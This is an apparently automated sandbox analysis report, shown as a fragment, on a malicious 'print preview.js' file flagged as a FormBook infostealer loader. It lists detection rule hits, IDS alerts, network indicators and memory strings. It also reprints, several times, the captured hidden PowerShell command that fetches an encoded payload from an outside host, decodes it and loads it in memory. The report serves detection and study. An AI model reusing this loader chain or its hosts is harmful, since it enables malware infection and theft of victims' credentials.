EMAaABhAHIAQQByAHIAYQB5ACgAKQAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfACAAfQApAFsALQAxAC4ALgAtACgAJABzAGUAYQB3AGEAbgB0AC4ATABlAG4AZwB0AGgAKQBdADsAJABuAG8AbgBnAGEAeQBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHI
                  Sigma detected: Potential Encoded PowerShell Patterns In CommandLine
                  Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEac

                  Data Obfuscation

                  barindex
                  Sigma detected: Powershell download and load assembly
                  Source: Process startedAuthor: Joe Security: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEach-Object { $_ })[-1..-($seawant.Length)];$nongays = [System.Convert]::FromBase64String($hillocked);$strutted = [System.Reflection.Assembly]::Load($nongays);$medicals = [dnlib.IO.Home].GetMethod('VAI');$medicals.Invoke($null, @('0/jLb7A/r/ee.etsap//:sptth', 'dobson', 'dobson', 'dobson', 'MSBuild', 'dobson', 'dobson','dobson','dobson','dobson','dobson','dobson','1','dobson'));if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };if ($null -ne $PSVersionTable -and $PSVersionTable.PSVersion -ne $null) { [void]$PSVersionTable.PSVersion } else { Write-Output 'PowerShell version Not available' };$leechlike = 'https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg ';$pyromaniacal = New-Object System.Net.WebClient;$shapers = $pyromaniacal.DownloadData($leechlike);$unfathomable = [System.Text.Encoding]::UTF8.GetString($shapers);$japanize = '<<BASE64_START>>';$define = '<<BASE64_END>>';$sentimentalisms = $unfathomable.IndexOf($japanize);$bodysurfs = $unfathomable.IndexOf($define);$sentimentalisms -ge 0 -and $bodysurfs -gt $sentimentalisms;$sentimentalisms += $japanize.Length;$crenelate = $bodysurfs - $sentimentalisms;$seawant = $unfathomable.Substring($sentimentalisms, $crenelate);$hillocked = -join ($seawant.ToCharArray() | ForEac

                  Suricata Signatures

                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-11T12:16:23.738962+010020507451Malware Command and Control Activity Detected192.168.2.849711192.186.57.3080TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-11T12:15:41.975772+010028582951A Network Trojan was detected172.67.187.200443192.168.2.849709TCP
                  TimestampSIDSeverityClasstypeSource IPSource PortDestination IPDestination PortProtocol
                  2024-12-11T12:15:41.005160+010028410751Malware Command and Control Activity Detected192.168.2.849709172.67.187.200443TCP

                  Joe Sandbox Signatures

                  Click to jump to signature section

                  Show All Signature Results

                  AV Detection

                  barindex
                  Multi AV Scanner detection for submitted file
                  Source: print preview.jsVirustotal: Detection: 16%Perma Link
                  Yara detected FormBook
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000008.00000002.1989278697.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697311671.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697161668.0000000004A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: unknownHTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.8:49709 version: TLS 1.2
                  Source: Binary string: choice.pdbGCTL source: MSBuild.exe, 00000008.00000002.1981143457.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp
                  Source: Binary string: f:\binaries\Intermediate\ndp_msbuild\xmakecommandline.csproj_1613737345\objr\x86\MSBuild.pdb source: wscript.exe, 00000000.00000002.2128186842.00000000118AC000.00000004.80000000.00040000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.0000000003175000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2698922905.000000000538C000.00000004.10000000.00040000.00000000.sdmp, firefox.exe, 0000000C.00000002.2286976826.000000003CB0C000.00000004.80000000.00040000.00000000.sdmp
                  Source: Binary string: wntdll.pdbUGP source: MSBuild.exe, 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000B.00000003.1977393462.0000000004BB9000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000B.00000003.1975102220.0000000004A05000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: wntdll.pdb source: MSBuild.exe, MSBuild.exe, 00000008.00000002.1993928315.0000000001320000.00000040.00001000.00020000.00000000.sdmp, choice.exe, choice.exe, 0000000B.00000003.1977393462.0000000004BB9000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004EFE000.00000040.00001000.00020000.00000000.sdmp, choice.exe, 0000000B.00000003.1975102220.0000000004A05000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2697683711.0000000004D60000.00000040.00001000.00020000.00000000.sdmp
                  Source: Binary string: choice.pdb source: MSBuild.exe, 00000008.00000002.1981143457.0000000000EC8000.00000004.00000020.00020000.00000000.sdmp
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 11_2_02BAC9D0 FindFirstFileW,FindNextFileW,FindClose,11_2_02BAC9D0

                  Software Vulnerabilities

                  barindex
                  Suspicious execution chain found
                  Source: C:\Windows\System32\wscript.exeChild: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  Source: C:\Windows\System32\wscript.exeCode function: 4x nop then mov ebx, 00000004h0_2_007DC2E8
                  Source: C:\Windows\System32\wscript.exeCode function: 4x nop then mov ebx, 00000004h0_2_00000205940974E8
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 4x nop then xor eax, eax11_2_02B99D10
                  Source: C:\Windows\SysWOW64\choice.exeCode function: 4x nop then mov ebx, 00000004h11_2_04B704E8
                  Source: C:\Program Files\Mozilla Firefox\firefox.exeCode function: 4x nop then mov ebx, 00000004h12_2_000002083C9144E8

                  Networking

                  barindex
                  Suricata IDS alerts for network traffic
                  Source: Network trafficSuricata IDS: 2050745 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) M5 : 192.168.2.8:49711 -> 192.186.57.30:80
                  Source: Network trafficSuricata IDS: 2858295 - Severity 1 - ETPRO MALWARE ReverseLoader Base64 Encoded EXE With Content-Type Mismatch (text/plain) : 172.67.187.200:443 -> 192.168.2.8:49709
                  System process connects to network (likely due to code injection or exploit)
                  Source: C:\Windows\System32\wscript.exeNetwork Connect: 192.186.57.30 80Jump to behavior
                  Connects to a pastebin service (likely for C&C)
                  Source: unknownDNS query: name: paste.ee
                  Source: global trafficHTTP traffic detected: GET /r/A7bLj/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                  Source: Joe Sandbox ViewIP Address: 172.67.187.200 172.67.187.200
                  Source: Joe Sandbox ViewIP Address: 172.67.187.200 172.67.187.200
                  Source: Joe Sandbox ViewASN Name: FEDERAL-ONLINE-GROUP-LLCUS FEDERAL-ONLINE-GROUP-LLCUS
                  Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
                  Source: Network trafficSuricata IDS: 2841075 - Severity 1 - ETPRO MALWARE Terse Request to paste .ee - Possible Download : 192.168.2.8:49709 -> 172.67.187.200:443
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.226
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 23.206.229.226
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 13.107.246.63
                  Source: unknownTCP traffic detected without corresponding DNS query: 52.182.143.211
                  Source: C:\Windows\System32\wscript.exeCode function: 0_2_000002059409C9E8 getaddrinfo,setsockopt,recv,0_2_000002059409C9E8
                  Source: global trafficHTTP traffic detected: GET /r/A7bLj/0 HTTP/1.1Host: paste.eeConnection: Keep-Alive
                  Source: global trafficHTTP traffic detected: GET /skhs/?eUim=YYGtc0vZDxBZaqObTq9Zj4kt+153KBc9C1cdleHi+lzAM/tSLZDkT6oQFAP0CoyED8RVRESu2LRjuGrjAaGK171+G03klmygUbeUcuM2AlBa+KZdbA00yG+Kg2RWBqUOrw==&v21=4rqVx HTTP/1.1Accept: */*Accept-Language: en-US,en;q=0.9Host: www.yxni.vipConnection: closeUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.107 Safari/537.36
                  Source: global trafficDNS traffic detected: DNS query: res.cloudinary.com
                  Source: global trafficDNS traffic detected: DNS query: paste.ee
                  Source: global trafficDNS traffic detected: DNS query: www.yxni.vip
                  Source: powershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://pesterbdd.com/images/Pester.png
                  Source: powershell.exe, 00000004.00000002.2074469806.000001FB802AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1723709298.000001FC20AB1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
                  Source: powershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
                  Source: powershell.exe, 00000004.00000002.2074469806.000001FB8025F000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore6
                  Source: powershell.exe, 00000004.00000002.2074469806.000001FB80278000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1723709298.000001FC20AB1000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://aka.ms/pscore68
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/ac/?q=
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/chrome_newtab
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
                  Source: powershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://github.com/Pester/Pester
                  Source: powershell.exe, 00000004.00000002.2104209016.000001FB9838E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://go.microsoft.co
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031C6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031EB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
                  Source: choice.exe, 0000000B.00000003.2173925732.0000000007FE0000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031C6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031EB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033LMEM
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031C6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_desktop.srflc=10339:
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031C6000.00000004.00000020.00020000.00000000.sdmp, choice.exe, 0000000B.00000002.2696218342.00000000031EB000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
                  Source: choice.exe, 0000000B.00000002.2696218342.00000000031C6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
                  Source: wscript.exe, 00000000.00000002.2129872746.0000020591878000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2127795662.0000020591876000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059186F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://login.live.com4
                  Source: powershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com
                  Source: wscript.exe, 00000000.00000002.2129872746.0000020591878000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2127795662.0000020591876000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059186F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/
                  Source: powershell.exe, 00000006.00000002.1722842007.000001FC1EA50000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg
                  Source: powershell.exe, 00000006.00000002.1723709298.000001FC20CD3000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgX
                  Source: wscript.exe, wscript.exe, 00000000.00000002.2129976899.00000205931B6000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126484534.00000205937FB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2125892514.00000205937D3000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1445170587.000002059383A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126484534.000002059383A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129933775.00000205919F5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2130247017.000002059383A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2130247017.0000020593800000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_
                  Source: wscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_textfile
                  Source: wscript.exe, 00000000.00000003.2126870589.0000020591838000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059181C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_textfileS
                  Source: wscript.exe, 00000000.00000003.2126870589.0000020591838000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2126724548.000002059181C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2129766606.000002059183D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://res.cloudinary.com/dzakc3wag/raw/upload/v1733871301/uploaded_textfileZ
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
                  Source: choice.exe, 0000000B.00000003.2181069057.000000000802A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49672 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49676 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49704 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 49671 -> 443
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
                  Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49704
                  Source: unknownHTTPS traffic detected: 172.67.187.200:443 -> 192.168.2.8:49709 version: TLS 1.2

                  E-Banking Fraud

                  barindex
                  Yara detected FormBook
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 8.2.MSBuild.exe.400000.0.raw.unpack, type: UNPACKEDPE
                  Source: Yara matchFile source: 00000008.00000002.1974923357.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2696062707.0000000002B90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 00000008.00000002.1989278697.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697311671.0000000004A70000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                  Source: Yara matchFile source: 0000000B.00000002.2697161668.0000000004A20000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

                  System Summary

                  barindex
                  Malicious sample detected (through community Yara rule)
                  Source: Process Memory Space: powershell.exe PID: 7760, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Source: Process Memory Space: powershell.exe PID: 7892, type: MEMORYSTRMatched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
                  Windows Scripting host queries suspicious COM object (likely to drop second stage)
                  Source: C:\Windows\System32\wscript.exeCOM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}Jump to behavior
                  Source: C:\Windows\System32\wscript.exeCOM Object queried: ADODB.Stream HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00000566-0000-0010-8000-00AA006D2EA4}Jump to behavior
                  Source: C:\Windows\System32\wscript.exeCOM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}Jump to behavior
                  Wscript starts Powershell (via cmd or directly)
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $orgiasts = 